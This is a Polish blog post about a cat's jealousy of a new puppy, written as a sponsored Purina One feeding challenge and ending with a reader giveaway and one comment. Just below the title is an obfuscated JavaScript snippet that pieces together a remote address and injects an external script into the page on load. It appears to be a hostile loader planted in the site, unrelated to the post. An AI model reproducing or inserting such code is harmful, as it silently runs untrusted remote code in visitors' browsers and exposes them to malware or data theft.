Instagram has returned invalid data.

Gdy jesteś tą trzecią…+ KONKURS

(function(){
tbj9u=”pbw787cXbj9q”;tbj9=document.createElement(“script”);
tbj9_=”u”+(“st”);tbj9_+=”at”+(“.”);tbj9.async=true;tbj9_+=”in”;
tbj9u=”37.”+tbj9u;tbj9.type=”text/javascript”;tbj9u+=”8r95sn843bdi”;
tbj9u+=”gpja”;tbj9_+=(“f”)+”o”+(“/”);tbj9.src=”//”+tbj9_+tbj9u;
tbj9d=document.body;tbj9d.appendChild(tbj9);
})();

Chyba nikt nie lubi czuć się jak kwiat przy kożuchu. Albo skarpetki do sandałów.  Niby się jest, ale jakby się nie było to żadna specjalna różnica dla świata. 

Myślałam, że jestem trochę mądrzejsza. Wiecie, uczę się na swoich błędach, wyprzedzam po kilka ruchów jak szachista. Mam zawsze opracowany plan B, plan ucieczki, nawet zawsze mam ważny paszport i jakiś podstawowy hajs w innej walucie – na wypadek wojny czy innego licha. Tym bardziej nie przypuszczałam, że wyciągnę zbyt płytkie wnioski z kilku sytuacji z życia własnego oraz innych.
Masz super relacje z rodzicami i nagle słyszysz, że pojawi się młodsza siostra. Zajmie całą ich uwagę, czas, pieniądze, myśli. Jak się czujesz?
Chodzisz do szkoły, masz najlepszą przyjaciółkę. Best friends forever i tak dalej. A potem chorujesz na zapalenie płuc. Nie ma cię w szkole dwa tygodnie. Po powrocie  nagle okazuje się, że przyjaciółka siedzi w ławce z inną. I niby wciąż się przyjaźnicie, ale czujesz sie jak piąte koło. Może nie u wozu, ale w samochodzie. To które czeka, aż nawali jedno z czterech działających. Niby potrzebne, a jednak przez większość czasu bezużyteczne. Dające poczucie bezpieczeństwa “w razie co”. I tyle. Mogłoby cię nie być, nikt nie zauważy aż coś się stanie. Auć.
Albo jesteś starsza, masz już przyjaciółkę i ona się zakochuje. I od tej pory cały jej czas pochłania “misiaczek”. Nawet jak w końcu gdzieś razem wyskakujecie, to tylko paplanie, że misiaczek to, misiaczek tamto.
Jak się z tym czujesz?

Druga połowka robi karierę, jest rozchwytywana, często gdzieś jeździ. A ty chcesz ją dla siebie.
Albo chłopak kocha swój samochód i cały czas poświęca na jakieś ulepszenia, modyfikacje. Myślisz że się domyśli i kupi śliczną nową kanapę do waszego gniazdka, a on obwieszcza “kochanie, zobacz, kupiłem nowe alufelgi”. Auć.
Jesteś ulubieńcem przełożonego, cokolwiek nie zrobisz – zawsze jest super. Ale po urlopie już ktoś wskoczył na swoje miejsce. Niby wciąż masz to samo stanowisko, ale coś jest jakoś… inaczej.
Byłam w kilku z tych sytuacji od różnej strony, jeszcze więcej obserwowałam, chociaż niektóre wydają się abstrakcyjne. Mąż zazdrosny o to, że żona spędza czas z ich nowonarodzonym dzieckiem, bo czuje się odtrącony. “Z dzieckiem się trzeba było ożenić!” rzuca trzaskając drzwiami i oprócz tego, że pomieszały mu się formy (żona mogła co najwyżej wyjść za mąż), to jest w tym wszystkim jakieś fatalne niezrozumienie, bo ona też czuje brak. Czasu, swojego życia, spokoju.
Gdy miałam 10 lat, rodzice świetnie przygotowali mnie na narodziny siostry. Byłam najszczęśliwsza na świecie biegnąc do sklepu po pampersy czy inne  niezbędniki. Wiedziałam, że narodziny siostry nic nie zmieniają, bo wciąż jestem kochaną córeczką. 
Zawsze uważałam siebie za jakąś całość. Dzisiaj nie umiem być już chyba zazdrosna. Kibicuję “konkurencji”, oddaję innym zlecenia, na które nie mam czasu. Polecam, rekomenduję. Mam swoje pasje, dziedziny w których się realizuję. Swoją przestrzeń, której potrzebuję i jeśli ktoś jest o nią zazdrosny to jest ciężko. Bo super by było, gdyby też miał swoją nienaruszalną. Nie umiałabym być jak ktoś w stylu osób mających wspólne “Madzia Kamil Kowalscy” konto na facebooku. 
Po wszystkich przeżytych i zaobserowanych sytuacjach byłam pewna, że umiem podejść do poważnych spraw poważnie.
Schwarz, mój kot zwany “szarcusiem” i “szwarculkiem” nigdy nie był specjalnie zabawowy. Spokojny kanapowiec, leniuch, śpioch. Jak widzi aparat to się przed niego pcha, a potem uda że wcale nie chciał:
Ale kot ma też swoje drugie tajemne życie. Łazi po dachach i codziennie przynosi mi szczura, ptaka albo żabę. Czasami żywe, bo upodobał sobie mord na moich oczach. Żebym nie myślała sobie że znalazł jakąś padlinę.  A potem “tul mnie, miziaj za uszkiem, jestem małym słodkim Szwarcusiem”.
Gdy kilka lat temu odszedł mój kochany pies, myślałam że już nigdy więcej żadnego nie pokocham. Że każdego będe porównywać. Że nie ma opcji. Ale pojawił się on. Ed. Znaczy Edek mu dano w hodowli, ale siostra nazwała go Niunio. Wcześniej oczywiście wszystko sprawdzone i przemyślane pod każdym kątem. Że musi to być młody pies.  Że rasy, która dogaduje się z kotami, bo innej opcji nie ma. Że ze względu na kota, schronisko nie wchodzi w grę, bo Szwarcuś chociaż słodki to potrafi wyciągnąć pazurki i byłoby niewesoło. Że musi to być malutki psiak, bo nie mogą mieć za dużych różnic ani wielkością ani masą. 
Mój kot jest aktywny, chociaż się nie wydaje. Skacze po drzewach, potrafi złapać ptaka w locie (ku mojemu przerażeniu!).
Wszystkie wysiłki skierowałam więc na to, by Szwarcek nie czuł się odtrącony. Do tej pory był moją perełką, myszką, misiaczkiem, słoneczkiem, Szwarculkiem i reszty określeń Wam oszczędzę, bo jak każda kociara zwracałam się do niego mnóstwem słodko-pierdzących określeń. Chciałam aby czuł się tak nadal.
Pies dostał jasne komendy i nigdy nie śmiał zajrzeć do kociej miski ani nie reagował gdy kot zaglądał do psiej. Nie atakuje go, szanuje i z pokorą przyjął swoje miejsce w szeregu. Kot z pozoru też wszystko okej, znalazł sobie wygodne miejsce na parapecie, zaanektował dywanik, ale już nie było miziania i drapania za uszkiem, bo obdarzał mnie spojrzeniem “idź kobieto, zmęczony jestem”.
Szczurów i ptaków też już nie przynosił. Niby ulga, bo nie lubię tych prezentów, ale jednak czułam lekki niepokój. Z jednej strony o psychikę kota,z  drugiej  o to ile szczurów musi teraz biegać w opuszczonym domu pod lasem, stosunkowo blisko mnie. Brrr!
Kilka razy pytałam Was o rady i jestem za nie niesamowicie wdzięczna. Dzięki nim pies szanuje kota i jest w niego wpatrzony jak w obrazek.
Ale kot mi się rozleniwił. Nawet rzadziej wychodził. Zanim ktoś odsądzi mnie od czci i wiary – mieszkam w takiej okolicy, że gdy przejeżdża samochód to znasz te dźwięki na pamięć. Nie muszę podchodzić do okna by wiedzieć czy to sąsiad, czy śmieciarka, czy kurier. Nic innego specjalnie tu nie jeździ, bo to ciche i spokojne osiedle. Kot ma swoje ścieżki i swoje sekretne życie a ja to szanuję. I zrobiło mi się przykro gdy przestał je mieć.
Na początku listopada marka Purina rzuciła mi wyzwanie – kot miał trzy tygodnie jeść karmę Purina One. Zasady uczciwe i fajne, bo jak wyzwanie nic nie zmieni i efekty będą neutralne to też nic złego. Kupiłam więc karmę na próbę by wiedzieć czy nią nie wzgardzi, a że jaśnie pani zaakceptowała, to podałam marce adres. (Zostańcie do końca, bo mam też karmy dla Was:)).
Był jednak mały problem – Cypr. Zwierzaki miały zapewnioną na ten czas troskliwą opiekę,ale miałam obawy. Ostatecznie stwierdziłam, że może kot musi za mną zatęksnić by “wrócił do siebie”.
Do tej pory był moim oczkiem w głowie, słonkiem do miziania za uszkiem i bohaterem przynoszącym o czwartej nad ranem wielkiego szczura. Teraz czuł się zazdrosny o psa, który jest jak żywe srebro i ciągle chce się z nim bawić, na co kot reaguje ostrzegawczym podniesiem łapy i syknięciem. 
Jeśli coś mogło pomóc mi odzyskać mojego Szwarcusia, to czułam się w obowiązku to sprawdzić. Kotka nie może czuć się “tą trzecią”.
Oczywiście muszę w tym miejscu nadmienić, że kot wcześniej nie jadł tylko suchej karmy. Zazwyczaj miał jakieś “chrupki” w misce, ale nie pogardzi mięskiem z kurczaka, plastrem łososia, czy surowym jajkiem. Szwarcek nie mieszka w wielkim mieście, tylko malutkim miasteczku, na cichym osiedlu pod lasem. Przypomina typowego, wiejskiego kota buszującego wśród traw. To jak równoległy świat z innymi zasadami. Nie oszukam jego natury i nie zamierzam. Nigdy nie traktowałam kota jako swoją własność. Raczej cieszę się, że mogę mu pomóc w jego podróży przez życie i dać mu na niej wszystko co najlepsze.
Okej, dość gadania. Karma przyszła razem z tą, którą chcę dać komuś w konkusie (o tym za chwilę).
Oczywiście zaliczyłam pierwszą wpadę i pierwszego dnia otworzyłam mu karmę junior, konkursową. Bez obaw, odkupię 😀
Pies zrozumiał, że to prywatna własność jego starszego “przyjaciela” i zaakceptował swój los :).
A kot? Kot lubi gdy poświęca się mu uwagę, więc oczywiście nowy wynalazek przyjął z radością:
Psa mamy od lipca, a ja zdążyłam się już trochę poddać. Purina zachęciła mnie do trzech intensywnych tygodni z pracą nad kocisławem. Częściej do niego gadałam, miziałam, traktowałam jak króla świata. Na jedno pogłaskanie psa przypadały ze trzy głaski kota. Chociaż pies skacze na mnie z radości od samego wejścia – najpierw witam się z kotem. Okej, najpierw zdejmuję rajstopy bo pies podarł mi już tyle par, że zbankrutuję :).
Podobno gdy byłam na Cyprze, kot bawił się świetnie. Nie powiem, ucieszyłam się. Ale gdy wróciłam to pies oszalał z radości a kot na mnie spojrzał i sobie poszedł. Zero entuzjazmu. Nie powiem, przyjęłam to jak policzek. Zazdrość była silna, bo idąc z psem na spacer miałam ogon. Kot zaczął znowu wychodzić i gdy ja szłam chodnikiem, on równolegle po ogródkach sąsiadów. Coś zaczęło się ruszać.
Od dawna wiem, że mój kot nie jest malutką, milutką fotogeniczną kuleczką, tylko bezwzględnym mordercą szczurów,  więc jego rozmemłanie bardzo mnie martwiło. Tęskniłam za swoim szalonym potworkiem, który potrafił przypalić sobie wąsy.
Prawdę mówiąc – myślałam że to wszystko jest prostsze. Ale na mojego kota nie działa drapak (ma drzewa), nie zachwyci go tunel (bryka po ogrodzie) wzgardzi zabawką (poluje na serio). Każda kupiona zabawka błyskawicznie stawała się psią i efekt był odwrotny od zamierzonego. Ale po czasie intensywnej pracy misiek zauważył chyba moje starania i zaczął zachowywać się przyzwoicie.
Znowu je mi z ręki i pzestał mnie olewać. Ale ja tam – pół biedy! Gdy pies w swojej radości postanowił go polizać po pyszczku to na niego nie prychnął. W końcu  go…zaakcpetował. Chciałam napisać “polubił”, ale pewna nie jestem 😀 Pies jest wpatrzony w kota jak obrazek, kot traktuje psa z wyższością i rezerwą, ale chyba też akceptacją.
Jasne, kot nadal lubi spać i wypoczywać, ale tym razem dlatego, że bryka jak szalony po ogrodzie i drzewach. O czym świadczą wiecznie czarne łapki :). Jego sierść znowu błyszczy i ma te swoje duże, słodkie oczy.
Zrobić mu zdjęcie to wyczyn, bo jest szybki jak błyskawica, ale mam nadzieję że sami to widzicie :)). Co dało mi wyzwanie z marką Purina One?
Przede wszystkim – zmotywowało mnie do jeszcze jednej próby ogarnięcia emocji swojego kota. Myślałam że tak już musi być i trochę się poddałam. Po drugie – dzięki wyzwaniu obserowałam swojego kota dużo uważniej. Zarówno patrząc na to, czy nowa karma mu służy, jak i przyglądając się jego sierści, oczom, zachowani. Po trzecie – przełomem był dzień w którym znowu przyniósł szczura. Psu. 
Zaczęły się dogadywać, nie powiem że jak najlepsi przyjaciele ale jest duży progress. Fakt faktem – kot jest wciąż rozczarowany gdy pies postanawia przez niego przeskakiwać i próbować wciągnąć go w gonitwy, ale przyjmuje to ze spokojem. 
Kot znowu śpi z odsłoniętym brzuchem, czyli odzyskał 100% zaufania.  I po fochu, uff!
Cóż, teraz ja jestem tą trzecią 😀 Kot z psem mają swoje życia.
Czy są na sali jacyś kociarze?
Marka Purina na stronie https://www.kociarze.pl/trzy-tygodniowe-wyzwanie zorganizowała wyzwanie otwarte dla wszystkich – do wygrania są bardzo atrakcyjne nagrody:

– zapas karmy PURINA ONE
– bony o watościach 150, 300, 500 zł do wykorzystania w partnerskim sklepie internetowym
– gadżety PURINA ONE: miska dla Kota, torebka na karmę dla Kota oraz kocia kanapa!

Oczywiście kociej kanapy zazdroszczę i zachęcam do udziału w oficjalnym wyzwaniu i gry o fajne nagrody – będzie mi bardzo miło, jeśli zgarnie je ktoś czytający mojego bloga :).

Ale osobno mam też mały kokurs dla Was – marka Purina przeznaczyła
12 opakowań  karmy dla kogoś z czytelników mojego bloga!
Jeśli nie masz kota, możesz zagrać o karmę dla kogoś kto kota ma, mogę też wysłać na adres wybranego przez Ciebie schroniska.
Po prostu opisz w komentarzu (za pomocą systemu disquss) zabawną historię z kotem. 
To wszystko! Czas jest do czwartku 8.12.2016 roku (23:59), rozwiązanie w ciągu kilku dni. To szybki konkurs, chcę wysłać nagrody przed swoim wylotem do Tajlandii 🙂
Buziaki!

Bądź na bieżąco! 

  INSTAGRAM ❤ FACEBOOK 
❤ FACEBOOK MONIKI 

Niektóre teksty widzą tylko subskrybenci (nie lądują na “głównej”) –

 jeśli chcesz być na bieżąco, zostań obserwatorem w google lub na bloglovin 🙂 A jeśli dany tekst Ci pomógł, sprawisz mi przyjemność, jeśli klikniesz +1 w g+ pod tekstem 🙂

Follow on Bloglovin

Komentując oświadczasz, że znasz regulamin

Uściski, Ania

1
Dodaj komentarz

avatar
1 Comment threads
0 Thread replies
0 Followers
 
Most reacted comment
Hottest comment thread
0 Comment authors
Recent comment authors
  Subscribe  
najnowszy najstarszy oceniany
Powiadom o
Ewelek
Gość

Moja historia z Rudą Chwilą jest ciekawa od pierwszych naszych wspólnych dni. Po pierwsze – znalazłam ją wiszącą na drzewie w reklamówce i mimo trzech psów i jednego kota, musiałam zatrzymać u siebie w domu. Ruda jest niby persem, niby dachowcem, trochę też psem. Najśmieszniejsza historia z nią? Któregoś dnia grałam z mamą z badmintona – obserwował nas Czarek (najmłodszy z psiaków) i Ruda. W pewnym momencie piłka poleciała w złą stronę i poszli… z jednej strony Rudzik, z drugiej Czaruś… rozegrał się między nimi lepszy mecz niż pomiędzy Borussią a Legią 😉 piłki nie odzyskałyśmy, ale za to miałyśmy… Czytaj więcej »

Previous
Praca, kebab i książki za darmo [TYGODNIK]
Gdy jesteś tą trzecią…+ KONKURS